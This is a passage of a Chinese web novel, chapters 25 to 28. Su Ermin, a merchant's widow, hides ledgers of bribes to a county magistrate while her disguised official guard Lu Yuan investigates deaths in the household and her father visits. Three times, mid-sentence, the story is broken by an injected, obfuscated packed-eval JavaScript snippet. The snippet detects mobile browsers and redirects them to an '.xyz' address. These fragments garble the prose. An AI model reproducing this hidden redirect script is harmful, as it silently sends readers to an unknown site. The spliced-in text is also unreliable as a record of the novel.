夏南毫不避讳地迈入院中，直奔那停在正中的棺材。 她用帕子捂住口鼻，悄悄地推开一尺宽的缝隙，掀开白布看到尸首还未腐烂，悄悄松了一口气。 陆远远远地一眼，看清了那人的脸。 文家文琴。 颈上勒痕，面部涨紫舌头外露，显然是被吊死或者勒死，绝非何师爷口中被毒酒毒死的那人。 他心中的疑惑更加强烈，几乎可以确信沈家、张鸿志之间的关系并没有表面上那么简单。 沈家的丫鬟、管事、姨娘……甚至还有她，似乎都有着不可告人的秘密。 陆远捏紧了袖中的卷宗，见夏南带人将棺材抬走，他才毅然赶回正院。 无论如何，他都要护她平安。 苏尔茗再睁开眼时，身侧熟睡人早已消失，她摸到已经凉透的床褥，下意识喊了声：“早苗？” 她起身掀开床帐，屋内早已被外面的天光照得大亮，窗棂落在地上的格子都变成小小一块，缩在门边一处。 屋门忽然被推开，凉风绕过屏风，缠上她没有穿鞋袜的脚踝。 “你醒了？”陆远见她有些瑟缩地抱紧双臂，立刻将回身将门关上。 苏尔茗听到声音后，似乎有些怔愣。 她重新缩回床上，用被子将身体裹住，看着屏风后晃动的男子身影，小声抱怨：“你在京城里，都是这么直接闯入女子闺房的吗？” 陆远把装着温水的铜盆放在桌上，将布巾浸入水中打湿：“在京城，我还没做过女子的护卫。” 他想了想，补充了句：“一般，都是和一些穷凶极恶之徒打交道。” 屏风外传来断断续续的水声，苏尔茗见他似乎不打算绕过屏风，才放心下床，更好衣服，才走过去。 陆远抬手将手里温热的面巾递给她，头扭过一边，似是避嫌，状似无意道：“她们都去忙了，好像是给某个姨娘出殡。” 苏尔茗冰凉的脸颊被布巾熏热，她悄悄发出舒适的喟叹，听到这话，下意识嗯了一声。 随即，她感受到陆远直视而来的审视目光，立刻警觉起来：“人吃五谷，难免会有生老病死。以前这些事，都是芸娘去做的。” 陆远的眼神变得有些深思，她这才松了一口气。 恩自县皆知文琴已经死在了府衙大牢，这等亲手弑亲的恶人，尸身只会被丢在乱葬岗，决不准被人带回，更别在家中停灵、做法事。 她原本担心耽误的时辰会对安葬文琴不利，幸好夏南已经做主处理了此事。 “沈家经常会有姨娘去世吗？”陆远问。 她将布巾丢在盆里，淡淡掀起眼皮看了他一眼，岔开了话题：“这是沈家的事，你这么好奇做什么？做好我的护卫，不需要知道太多。” 她不再看陆远的表情，抬步迈出卧房，院内阳光正好，晒在身上都不觉得秋日寒冷。 她深吸了一口气。 迈入这方院落三年，她方觉今日才有认真欣赏这院中一草一木的心情。 “我饿了，竹奕。你同我一起用膳吧。”她回身看向屋内隐在暗处的人，露出了个极为难得的笑。 陆远微微眯起眼，缓步从屋里走出，日光将他的眼眸点亮，唇角挂着极淡地笑意，“好的，夫人。” 角落里，给院中除草的早苗，手里抓着几根草杆，闻声看向并肩离去的二人，倒吸了一口冷气。 她喃喃道：“这个……好像比老爷更配夫人啊……” 沈家的下人向来不多话，见苏尔茗带着一个陌生男子用膳也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498155|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多看一眼，默默布菜，而后站在一旁候着。 夏南自城外回来时，便见到二人相对坐着，虽不说话，但显然那男子总是在暗暗打量苏尔茗，似是想要记住她的喜好。 夏南的目光落在陆远执筷的动作、用膳的姿态，甚至比对坐着的夫人更要规矩三分，似乎受过极为严苛的教导。 苏尔茗听到动静，缓缓转过头，看到夏南急匆匆迈步进来，立刻将筷子放下，用锦帕擦过唇角后，才问：“事情都办妥了？她不喜欢热闹，先前我忘记叮嘱你。” 夏南一怔，立刻明白是陆远透了信，回道：“芸管事先前叮嘱过一次，还请夫人放心。” 苏尔茗端起茶杯的手轻轻一晃，一点的茶水浸湿了她的指尖，带着灼热的温度。 半晌，她垂下眼，喝了口茶，苦涩的味道从舌尖一直流到心里。 芸娘，早就计划好了这一日。 她将文琴的事情安排妥当，才了无牵挂地上路。 她声音有些艰涩：“好，你也辛苦了，先下去休息吧。” 夏南点头，提起另一件事：“夫人，沈家的生意虽有各处掌柜打理，但眼下沈家群龙无首……” 她看到苏尔茗拇指上有些宽大的扳指，继续道：“您是老爷明媒正娶的夫人，自然应该由您来继续沈家的生意，以免被旁支插手。” 苏尔茗抬眼看到了夏南别有深意的眼神，想起芸娘死前告诉她书房账册的钥匙。 此番提醒，大抵是芸娘死前的最后嘱咐：让她接下整个沈家，夺了沈万金一生的心血。 她点点头，“我知道了，晚些时候我会去处理。至于那些掌柜，继续由之前的方式联络即可，不必通知他们沈家换人的事，减少麻烦。” 夏南走后，陆远看着陷入沉思的苏尔茗，没有出声打断。 “我要去书房处理账务，你不用时刻跟着我。”她忽然开口，神色平静地看着他，“竹奕，昨夜你辛苦了。” 陆远整夜的奔波、疲累，似乎都在这一句话里变成了灰烬。 他察觉自己喉间紧得发涩，端起茶杯仓促喝了一口。 被水濡湿过的声音，落在耳中格外动听：“只要夫人吩咐，在下皆全力而为。” 苏尔茗见他即将抬眸，立刻站起身错开了视线，月白色的裙摆扫过木色的门槛，“我知道了。” 随后，婷婷的身影消失在了月亮门后。 陆远收回目光，忽觉口中极强回甘的味道有些熟悉，他看着手里的那杯茶，轻轻咂摸两下，又喝下一口。 一旁服侍的丫鬟走过来打算为他续上一杯，难得多一句嘴：“这是今年的新茶，沈家茶庄的贡品，以往老爷最喜欢喝的一口。” 陆远轻轻拦了下杯口，神色幽深：“不必了。” 这茶，同他在初次和张鸿志在沐春楼用膳喝过的茶，分明是同一种。 他心里想着事，不自觉地走到了曾停有棺材的小院门前。 树下，正蹲着方才说要去书房看账册的苏尔茗。她手里握着一把小铲，在翻找着什么。 陆远站在院门口，北风呼啸着穿堂而过，他却只觉得眼前是一片寒风都吹不散的迷雾。 信息不通的古怪院子，频繁早死的姨娘，有预谋杀死雇主的女管事…… 而苏尔茗，正是这层层迷雾中，最关键的一环。 26. 第 26 章 “夫人，你在找什么？” 苏尔茗刚刚摸到钥匙的手，立刻捏住它，缩回袖中。 她拿着小铲缓缓站起身，看到身后眼神探究的陆远，并没有回答，反问道：“不是让你先去休息？” 陆远有些意外地挑了下眉，神色无辜：“沈家宅院错综复杂，我方才迷路，可巧这处没有丫鬟，我正好瞧见夫人想问个路。” 她静静地看着陆远，回身将那土坑埋平，才迈步离开小院。 “走吧，我顺路带你回去。”她走在前面，声音有些疲倦，“这里的规矩，许多都是老爷生前留下的……” 陆远隔着几步距离，只能瞧见她的背影，她似乎在抬袖拭泪。 他垂下眼睫，胸口有些闷痛。 “斯人已去，还请夫人节哀。” 苏尔茗一路引着他回到正院的脚步不停，她站在正院门口，眼尾红红的回眸看向陆远。 “多谢。我现在只希望官府可以将夫君的归还与我，我好将他安葬，尽一个妻子最后的义务。” 她似不愿再多说，叹了一口气，转身往书房去了。 身影萧索。 陆远怔怔地抬头看向院门上的匾额“永安”二字，想起隔墙之外的风言风语，袖中的拳头忽然收紧。 他脚步一转，翻墙出了沈家。 沈家的内书房在湖的另一边，紧邻着沈万金养病时候所住的院落。 平日里这边向来有沈家护院看守，不准后院女子靠近。 苏尔茗走到书房门口，两名护院恭敬向她问好，但下一瞬，两根木棍交叉着横在她眼前。 “夫人，没有老爷的吩咐，任何女子不得入内。即便老爷已逝，此处不可由沈家以外的人踏足。”护院义正言辞。 沈万金身死的消息瞒得住后院姨娘，瞒不住出入自由的护院。外院的人，现在都在蠢蠢欲动，想要偷偷给沈家报信。 若是荣城沈家知道沈万金身死，定会立刻来人接受沈万金的生意，到时候他们就是新主子眼前的红人。 苏尔茗轻抬衣袖，露出手指间那颗翠绿滴水的扳指，神色平静地看着他们。 二位护院眼中极度震惊，手中木棍都松了一下，险些落在她脚边。 其中一人立刻反应过来，恭敬跪下：“夫人，此物……” “此物是夫君重病时交于我，如今沈家六神无主，为了沈家还能在恩自县站住脚跟，还有沈家上万人的生计，这书房，今日我必须要进。”她低头审视着二人，极为严肃。 想到护院皆是随沈万金在恩自县扎根多年的忠仆，她意有所指：“你们可以去荣城沈家通风报信，到时候，我也可以离开恩自县这个伤心之地。” 沈家来接手的旁支，一定会清洗沈万金的资源和势力，为自己立威。到时候，他们这些已经久居恩自县的人，一定会被迫离开。 妻儿、爹娘，这时就是他们的软肋。 二人恭敬叩首，不再拦路。 苏尔茗唇角勾起一丝讽刺的笑，缓缓迈步进入院子。 她的呢喃像一声叹息：“你的人，偏偏比你更重情重义。” 推开书房的大门，屋内腾起一股散不去的熏香味道，刺鼻得让她有些皱眉。 屋内陈设奢华，一点光线透入，陈设间折射的光竟让昏暗的书房变得格外明亮。 白玉地砖，翡翠书案，金玉点缀随处可见。 苏尔茗的目光缓缓落在博古架上的一个小木盒上。 她缓缓走近，拿起那个上锁的木盒轻轻晃了晃，里面似乎是一些纸张之间发出的摩擦声响。 她将袖间藏着的钥匙，放在装着清水的白玉笔洗里面轻轻搓洗，试探着将它塞到锁孔里。 只听“咔哒”一声，锁扣应声而开，里面弹出塞得满满的纸张。 她把手在衣裙上胡乱一抹，连忙拿起其中一张细细查看。 “四月十二日，京城王侍郎父亲大寿……五千两银票并红珊瑚树、百年龟甲一对……” “六月十七日，京城刘尚书升迁……百两黄金并象牙雕花扇、鎏金瓷瓶一对……” 她看向这些记录的卷首，“代恩自县张鸿志……” 苏尔茗手中的信纸开始微微颤抖，一条条、一张张记录，全是自张鸿志上任后，沈万金与张鸿志二人之间的交易往来。 沈万金有钱，张鸿志有上京的人脉，所以才有沈万金成为恩自县首富，恩自县县令成了京郊六县的典范。 她深吸一口气，极力让自己镇定下来，随即将所有的信纸折好归于原位，合上了那个木盒。 眼下，沈万金已死，张鸿志似乎还未想到此事。 这木盒，才是个烫手山芋。 苏尔茗看着书房大门的方向，忽然有些迷茫。 这院子里，她处处受敌，似乎无人可信、无人可用。 她眼前缓缓浮现一个刚正的眼神，却被她顷刻否定，“他只是一个护卫，不是万能的救命稻草。” 她自嘲地笑笑，将那木盒归于原位，缓缓打开了桌上的账册，却一行也再难入目。 另一边，府衙后院。 张鸿志打着哈欠从床上起身，一旁的小妾立刻起来为他更衣。 他伸着手臂在小妾身上摸了两把，呵呵笑了两声，“天杀的陆远，害得老子昨日都没能好好睡上一觉，还亏待了你。” 他一把将给他系腰带的小妾搂在身前，想要俯身亲上，只听门前一阵急促的敲门声。 “大人，陆大人他又来了！”何师爷急促道。 张鸿志眉头一拧：“不是说让老子不要管吗，他爱干嘛干嘛去，你去配合他办案！” 他继续亲近小妾，却被轻柔地推开。 门外的敲门声停了，但何师爷的声音未止。 “大人，上次你说他不领情是因为钱不够多，我在那书房的卷宗里塞了六千两银票，方才我一过来，发现就在您门前放着呢！”何师爷的声音急得冒火。 张鸿志手一顿，彻底松开了小妾。 何师爷在门外焦急的踱步，听着屋内的动静，纠结还要不要再敲门。 手刚碰到门板，门从屋内被打开了。 张鸿志衣衫整齐，一脸阴暗神情：“走，去会会他。” 他们二人走到堂内，却只见陆远留下一张纸。 上面写着：沈万金勘验已毕，可允许家属下葬。其致命伤为胸前一刀，与另一死者芸娘手中的匕首形状吻合，但其心肺部有变，尚不能确定全部凶手，不能结案。 张鸿志和何师爷二人面面相觑。 “那人都捅成一块烂肉，还能看清心肺有变？咱们府衙有这么厉害的仵作吗？”张鸿志问。 “老李他……”何师爷擦了一下额头上的汗，“他昨天身子不舒服，我让他今天休沐了……” 张鸿志立刻撒手扔了手里的信纸，大骂：“晦气！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那小二撇撇嘴，下巴指了指那边刚过去的队伍：“沈家有钱，那些人家都穷怕了，拿了钱，哪里敢说实话？” 赵春花忽然转身走进饭馆，拎着小二的衣领：“走吧，干活。那些大人物的事情，跟你我可没有关系。” 角落里，陆远面前放着一碟青菜，一碟豆腐，还有一碟卤牛肉。 他眼神盯着走进门的老板娘赵春花，想到在卷宗上看到的：这一个月内，身故了三名非自然死亡的男人。 分别死于斗殴、溺毙、刺杀，而卷宗上的仵作记录，和实际案情的结果皆有出入。 赵春花，就是第一个死了夫婿的寡妇。 陆远用筷子轻轻夹起一片牛肉，放进口中，酱香浓郁、咸度适中，但距离京中的饭馆仍有不少差距。 想到方才赵春花二人在门前的对话，他问向对面风尘仆仆赶来的竹年。 “你说，在恩自县开这样一家饭馆，需要多少银子？” 竹年正在大快朵颐，闻言叼着口中的筷子，仔细打量了一下饭馆的陈设和装潢。 “这块地段好，面积也不小，虽说是个小饭馆，怎么也得有个几十两、上百两的积蓄。” “一个赌徒的家里，能存得住这么多钱吗？”陆远道。 竹年怔住，眼神落在陆远手中露出一角的卷宗上。 那上面赫然写着，王虎的妻子：赵春花。 27. 第 27 章 “主子可是觉得这案子结果有异？”竹年问。 “张大人断案，自然……需得好好学习一番。”陆远将那卷宗放入布包，拿出炭笔和草纸刷刷写上一个名字，“方才他们二人提到了文家的事，我晚些时候亲自去验证。这两日，你帮我去打听两个人。” 竹年接过草纸，上面写着——“褚芸、褚宁”。 “这是杀了沈万金的芸管事？”竹年将那张纸收进怀中，抠抠头，“那这褚宁是谁啊？她母亲吗？” 陆远夹了一筷蔬菜，清淡爽口、滋味不错，“我暗中查看了沈家的部分单据，上面都有褚芸的印章。我私下里确认过，就是她入沈家之前的名字。” “据沈家的下人透露，褚芸有一个妹妹。勘验时，我在她身上见到了一个用针刺在心口的旧伤疤痕，就是褚宁两个字。但沈家下人里，查无此人。” 竹年的脸色在一瞬间变得有些严肃，他试探地问：“褚宁……是否已不在人世？” 陆远想到夏南那双戒备的眼睛，神色幽深：“外院的仆从大多数是沈万金定期要求更换的新人，对几年前的事情并不知晓，而知情的人……对我十分戒备，不如你先从外面打听。” “好。”竹年应声。 竹年背对着大堂，陆远忽然眼神瞥过去，他瞬间噤声。 只见方才在门口说话的那个店小二，端着一份米粒分明、色泽金黄的炒饭过来，葱香扑鼻，令人食指大动。 小二笑嘻嘻地将盘子放在正中，客气行礼：“客官，您的菜已经上齐了，请慢用。” “慢着。”陆远的声音阻了小二的动作。 小二挂着笑的脸未有任何变化，看过去，等着陆远的吩咐。 “请问你们这店，开了多久？生意如此好，我瞧着甚至有城南的人专程过来吃。”他盛起一碗炒饭，将一勺饭粒轻轻塞入口中，细细咀嚼。 用料虽普通，但是价格公道分量大。 亲民的价格和味道，与沐春楼吸引的是截然不同的顾客。 小二搓了搓肩头上的抹布，察言观色：“我们巷里香开到现在刚满一月，请问客官可是觉得哪里不妥？” 他夸赞：“你们老板娘有双慧眼。” 小二紧绷的神色立刻松了些许，他颇为自豪地介绍：“别说是十里八乡，我看就是京郊六县，也找不出这么勤奋聪慧的老板娘，第一次开店就成功了。” “原先这里的小饭馆，不是价格贵就是味道不好。只有她刚开业的时候，不满意就免费退菜，邻里们才愿意尝试。要我说，她就是该有这么好的生意！” 陆远端起茶杯，吹开碎茶叶末，缓缓喝下一口茶水，冲淡口中残余的味道。 他继续问：“她既然是第一次开店，那她原先是做什么的？可是给沐春楼做帮工？” 他想着卷宗上寥寥几语，故意说错。 果然，小二当即反驳：“哪有！先前我们老板娘就是个缝补的小绣娘，她夫君不幸去世后，她还有公婆和爹娘要养，就开了一间饭馆养家糊口。” 竹年看着陆远沉思的表情，立刻有眼力见地打岔：“既如此，那就照顾你们的生意，再加一份卤牛肉来。” 小二笑呵呵地应声而去。 走到柜台前，扒拉算盘的赵春花抬眼叫住了店小二，问道：“方才那桌客人可是对菜品有什么不满？” 小二呲着牙，挺着胸脯回道：“那可不是！他们许是吃了您了菜觉得好，和我打听您呢。凭我的三寸不烂之舌，他们又加了一碟菜！” 赵春花没由来地心头一紧，想到了一个先前一闪而过的身影。 她沉下语气叮嘱：“以后不管是谁和你打听，不要多嘴，有事喊我来处理。” 小二见她脸色严肃，立刻收了笑，板着脸点点头。 小二离去后，赵春花身子缩在柜台后，瞧着角落里的陆远和竹年。 忽然一道审视的目光自那处而来，硬生生擒住了她想要慌乱错开眼的动作，她竟有一瞬间，觉得自己的心思被对方看穿的错觉。 她扯出一个无害的笑容，眉间的小痣也跟随着一动，打声招呼：“客官，吃好喝好啊，务必尽兴！” 见那人冷淡的收回目光，她才悄悄松了一口气。 她漫不经心地扒拉着算盘珠，想起苏尔茗曾说过的那句话：“若是我们三人都得手，便没有再见的那一日，我们知道彼此过得比之前好，就足够了。” 她抬头满意地看着自己人来人往的小饭馆，闻着后厨传来的灶火香气，轻叹：“……但愿，这样的日子可以长长久久。” 一张白色的纸钱打着旋被吹进堂内，被她用脚踩住，团成了一个小球扔进了竹篓里。 漫天的雪白，游曳的长龙终于靠近城门。 苏尔茗身上的衣襟早已被糟蹋得不成样子，但她毫不在意，静静地在城门前候着，等候守卫问询后的放行。 城门中的甬道里，缓缓出现一个熟悉的身影。 林蕙带着医药箱自城外回来，一脸疲惫，身上还染着棕褐色干涸的痕迹。 她不经意抬眼一看，看到了队伍正中首位的苏尔茗，原本迷离的双眼立刻变得清亮，装作若无其事地问身边的另一个医女。 “这是哪家的丧事，办得这么大排场？” 那医女神色有些惊讶，“你不知道？！” 见旁人都被她的声音所吸引，她才扭头靠近林蕙的耳朵悄声转述，末了问了句：“这是首富沈家的老爷出殡呀，前几天吊唁你没去吗？” 林蕙摇了摇头，解释道：“舒老先生救了我前夫的私生子，但他并没有太多精力照顾，最近那孩子半夜哭闹，我累得很，不曾知晓此事。” 她们边小声议论着，边同送葬的队伍错开了身。 一人进城，一人出城，互相再没有看对方第二眼。 直到沈万金的棺椁被埋入土中，渐渐地挖过土的痕迹被填平，铁锹拍在土上发出的闷响，让她从未有过的踏实。 苏尔茗轻声开口：“夫君，沈家还有我帮你，你安心的去吧。” 郊外的山风很大，她单薄的身影被呼啸的风勾勒，素色衣袂扬起，像是要随风而去。 远远看着，那消瘦的肩头要扛起沈家的重担，还要面对城中的蜚语流言。 在场的家仆无不觉得夫人可怜，悄声唏嘘。 苏尔茗红着眼，缓缓回身，柔声吩咐：“你们先回吧。我再陪夫君说说话。” 沈家的奴仆将自己的衣裳裹紧，看了最后一眼沈万金的墓碑，缓缓离开了。 队尾，一个人悄然无息的留了下来。 正是匆忙赶来的陆远。 他远远地看着苏尔茗站在坟前，抬臂浇了一壶陈年佳酿，而后在 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在帕子掩住的眉眼下，唇角微微勾起。 她忽觉得眼前一白，身体不自觉地向前倒去，顷刻间天地移位。 “夫人！”陆远上前一步，扶住她的肩头，才觉掌心里的骨骼竟比上次遇险更加清晰。 她竟瘦了如此多。 陆远摇晃着苏尔茗绵软的身子，却得不到她任何的回应，始终是紧闭着的双眼，病态泛红的脸颊。 他探手一摸她的额头，竟有些烫人。 陆远登时打横抱起她，飞快地往车夫何老那里奔去。 苏尔茗靠在陆远的怀里，半眯着眼轻轻瞥向那墓碑，极淡地勾起了唇角，再次放心地闭上了疲倦地双眼。 风声呼啸，坟前那酒坛，忽然碎裂成片。 马车里，陆远将苏尔茗放在软垫上，飞驰的马车却让她的身体难以稳固。他不得不再脱下外衫，再将她抱在怀里，一只手护着她的头。 忽然她似梦呓一般握住了他的手指，抓在脸颊边蹭了蹭，轻声道：“夫君……别走……” 一滴泪落在他掌心，比她额头的温度更加灼人。 他第一次生出对一个死人的嫉妒。 “夫人，节哀。我是你的护卫，竹奕。” 半晌，他抽回手，用外衫将她双臂也一并缚住，将脊背绷得板直。 直到将她送回院子，陆远也未再说一句话。 当晚，苏尔茗喝下了药，一夜好眠。 屋檐上，陆远手中提了壶酒，吹了一夜的冷风，看了一夜的星星。 日升月落，凉意习习。 苏尔茗再醒来，看到的是熟悉的帐顶。 她不记得自己何时真的睡了过去，但脑海里却浮现竹奕说过的那句话。 她慢慢坐起身，知道这场夫妻恩爱的戏码，终于演到了尽头。 “咚咚咚”，房门被敲响。 “夫人，您父亲今日忽然登门，吵着要见您！” 夏南的话音刚落，院子里传来声音年迈的怒喝。 “茗丫头，这到底是怎么回事！现在人人都说你是杀人嫌犯，你若是知错悔过，就立刻随我去府衙自首！” 28. 第 28 章 父亲苏鸿文的声音，让她登时掀开了床帐，一阵头晕目眩。 顾不得穿鞋，她披上一件外袍便打开了屋门。 “父亲，您怎么来了！” 冷风扑面，将她身上好不容易积攒的热气一点点吹散。 屋门外，站着身着缝补旧衣、拄着木质拐杖的苏鸿文，年过四旬，额鬓间已经斑白。 他站在屋门外，看着她衣衫不整地打开门，气得将拐杖杵得咚咚响。 “你瞧瞧你，日上三竿还在赖床！以往我教给你的规矩，都忘到脑后去了吗？” 苏鸿文被冷风一呛，躬着身子连声咳嗽。 她赶忙上前，扶着他的臂膀，柔声劝道：“父亲，先进屋。坐下来我慢慢同你解释。” 一旁的夏南赶忙过来扶着另一边，补了句：“老爷子，夫人她为了沈家几日都未曾合眼，昨日直接昏倒在墓前，晚上高烧了一夜。” 苏鸿文迈出去的步子一顿，扭头看了一眼脸色明显不好的苏尔茗，焦急的神情才算有所缓解。 他在屋中的木椅上坐下，拍了拍臂膀上苏尔茗的手，缓和了语气：“天凉，快去把鞋穿上。” 苏尔茗听着父亲的关心，鼻头一酸，她立刻返身去屏风后，想要穿鞋，却见脚底早已黑黢黢一片。 早苗却及时的端着一盆热水进来，放在她眼前，“夫人，这是竹大哥让我送进来的。” 她眼中微动，没有多言，立刻将脚浸入盆中，温度正宜。 她想了想，轻声吩咐：“早苗，你帮我吩咐膳房，今日的午膳多做些驱寒的汤，每个人都去喝一碗，别着了寒气。” “哎，多谢夫人！”早苗蹦蹦跳跳地走了。 铜盆边还挂着擦脚的布巾，她简单清洗了下，迅速用布巾将脚擦干，换上鞋袜衣襟，走出屏风。 “父亲，女儿来迟。” 苏鸿文正喝着夏南泡好的热茶，屋门被关上，冷风吹不透，但还未到冬月，屋里还没有放上烧炭的火盆。 见她出来，苏鸿文放下了茶盏：“你这屋里的茶叶不错，可见沈家人也没有亏待你。” 他话锋一转：“你可知，你杀夫的谣言已经传到了乡里，我和你母亲的脸面倒是次要，我听闻沈老爷时常殴打家暴与你，你去官府递交诉状、击鼓鸣冤。你老实告诉我，这杀人的事……到底跟你有没有关系？” 苏尔茗一怔，十分诧异：“官府尚未公布案情，只说仍在调查之中，如何就传到了乡里！可曾对您和娘亲，还有妹妹的亲事……” 她不由得想起了张鸿志，还有那盒子里的信笺。 先前想要让她屈打成招，成为杀死沈万金的幕后主使，她原本以为张鸿志只是想吞并沈家的银钱。 如今…… 苏鸿文叹了一口气，摆摆手，“那都是次要的。今日我过来，就是想替你母亲一起问问你，这沈家，这些年对你到底如何。” 苏尔茗正想让夏南出去候着，门外却正好送来了汤药。 棕黑的药液浓稠得挂在碗边，形成一道清晰的边界线，热腾腾的药味已经开始让她嘴里泛苦。 她深吸了一口气，端起药碗浅浅抿了一口试下温度，继而仰头一饮而尽。 苦得几乎让她眉眼都挤在一处。 面前却忽然出现了一个油纸包，散发着香甜的果脯味道。 “你娘这几日连夜做的果干，本想着再攒攒，过几日让人把山货一并送来，没成想……”苏鸿文缓缓打开了还带着体温的油纸包，捻起一颗杏子干，伸向苏尔茗，“来，张嘴。” 入口先是干燥且毛茸茸的杏皮，继而酸甜味道涌入，渐渐冲淡了舌尖的苦味。 她眼里缓缓蓄了泪，笑着说：“爹，我如今还连累你们为我操心，着实是不该。” 夏南端着药碗悄然推门离开，只留他们父女二人在屋里叙话。 苏尔茗去衣柜里取了一件厚实的斗篷，盖在苏鸿文的腿上，“沈家的事，说来有些复杂。” 她望着父亲疑惑的眼神，头一次撒了谎。 “老爷他……因为我无所出，有时语气重些，便会动了手。事后他又会觉得亏欠，让我好好修养。”她坐在木椅上，看着地上石砖的缝隙，眼神麻木，“我在沈家自然是过得好，锦衣玉食地养着，连看医用药都是顶好的，还能允许我帮衬家里……” “只可惜我肚子不争气，不能为老爷诞下一儿半女。所以上次来，老爷便瞧中了妹妹。” 苏鸿文端起茶喝了一口，声音有些沉重：“你妹妹……性子调皮，她来沈家也只会给你添麻烦。我们当初答应这门亲事，是看在沈老爷他诚心求娶，想必婚后不会亏待你，你也首肯了。” 她转过头握着父亲略微冰凉的手掌，继续道：“我同老爷商量了，可他不同意，于是我便向父亲隐瞒了此事，只想着待到抬姨娘那日，花轿为空，有什么事都是我一人之过。” “可我后来听说，那花轿里，走出来了我正院的管事，芸娘。”她声音渐渐有些颤抖，似乎不愿相信，“后来，我才想起一件事，芸娘的妹妹，早年前死在了老爷的院子里。” 门外似忽然起了风，树影落在雕花镂空的窗棂前，止不住的摇晃。 屋内燃着淡雅的香薰，衬着满室的静默。 “茗儿，沈万金他……”苏鸿文忽然改了称呼。 苏尔茗看着父亲苍老的面容，将另一只手也放在他的手背上，轻轻拍了拍，声音带着几分怅然：“他在我入府后，陆续纳了十几房姨娘，不过……都过去了。父亲，眼下我必须要留在沈家。” 长久的沉默后，苏鸿文抚膝长叹，没再喝一口那茶。 她倒掉杯中的茶叶，起身给添了些热水，安慰道：“父亲，娘亲的病还需要好药养着，我这点苦，不算什么的。还望父亲回去，莫要让娘担心。坊间的谣言，待案情公布，迟早会消失。” 苏鸿文摇了摇头，老泪纵横，“是我们拖累了你。” 渐渐到了午膳时候，她扶着苏鸿文起身，静静听着父亲的唠叨：“我用过饭就回去，你母亲那里离不了我，待你有空，常回家看看，她也想你想得紧。” “好。”她推开门，叮嘱父亲小心台阶，而后被夏南扶过去，二人先去了花厅。 苏尔茗看着枝头枯黄了一半的树叶，裹紧了身上的斗篷，正要下台阶。 只听身后一句：“这便是你愿意忍受他折磨的原因吗？即便他用藤鞭家暴你，你也不愿和家人说出实情？” 陆远抱胸站在檐下，手中握着长剑的剑鞘，用力到指尖的血色都消失，似乎顷刻间就可以将它捏成齑粉。 方才他原本从府衙回来，得知竹年调查褚芸有了新的线索——褚芸原本是临近村落的穷人家的女儿，卖身葬父才入府为奴。 他从府衙回来，调出了褚芸的户籍，却在她窗前得知了褚宁的死讯，和她谎言中藏着的所受苦难。 她对褚芸的事情并非一无所知，只是不愿意再相信官府，也……不相信他。 苏尔茗的身影沐浴在日光下，脸颊还带着大病初愈的惨白。闻言一怔，脚下的枯枝喀嚓一声断裂。 他与她不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531688|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三两步距离，却静得像是双双溺在水中，耳边除了四周的动静再无其他。 听不清，也说不出。 半晌，她摘下枝头那片将落未落的枯叶，“世人规劝女子相夫教子、三从四德，我亦不能免俗。” 她抬步继续前行，将那落叶踩在脚下，给他的答话却散在风里。 “但这是我的事。竹奕，你越界了。” 苏尔茗的身影消失在秋风萧瑟的庭院里，冷风将落叶吹起打了个旋，那地上的碎叶，被搅得看不清模样。 陆远喉咙发干，想要说些什么，却听到自己声音嘶哑，终是变成一声苦笑。 “是啊……我只是一个护卫。” 苏尔茗在院门外，见庭院里矗立的身影终于离开，她叹了一口气，继续往花厅去。 竹奕的质问于她而言，更像是她想问多年前自己的话。 可那时的她，已经给出了答案，报官无路、反抗无门。 和离，亦是需要官府批准。 她别无选择。 花厅内，早苗乖巧地拿着碗筷帮忙摆好，父亲苏鸿文摸着她的脑瓜，慈爱地说着些什么，一旁的夏南忙着布菜，温馨、热闹。 她猜，父亲是在问：“女娃，你今年几岁了？可有书读？” 苏尔茗站在回廊下的阴影处，低头瞧自己看似白净的双手，忽然握紧了拳头。 她若无其事地走过去，正巧听到父亲那一句“可曾读过书”。 她笑着答：“往后我亲自教她识字，就像您教我那般。” 这才是她应该拥有的生活，她无须觉得愧疚。 苏鸿文笑着让早苗坐下一同用膳，“坐下，一起吃饭才热闹。茗儿，你要是有个……” 他忽然住了嘴，改口：“眼下，就这样也挺好。” 苏尔茗拿起调羹喝下一口热乎的汤，看着早苗开心的模样，方觉融进这其乐融融的氛围，冰冷的四肢渐渐回温。 她没有回应父亲的话，只点点头，一勺一勺地喝着。 忽然，她转头吩咐夏南。 “今日菜色，挑几个口味重些的，也送一份去我院子里的西厢房。还有那驱寒的汤，一并捎着。” 苏鸿文的眼中露出不解，“你院子里还有客人？这般轻慢可不合规矩，不如叫他一同用膳。” 她放下调羹，为苏鸿文添了些新的热汤，才道：“是个护……是个有恩于我的人，他不喜热闹。” 另一边，陆远面前皆是他偏爱的菜色，平静的眼中泛起一丝波澜。 夏南离去前，向他郑重行了礼：“夏南先前对先生多有得罪，不知先生竟是夫人的恩人，还请先生见谅。” 陆远握着筷子的手一顿，淡淡道：“无妨。” 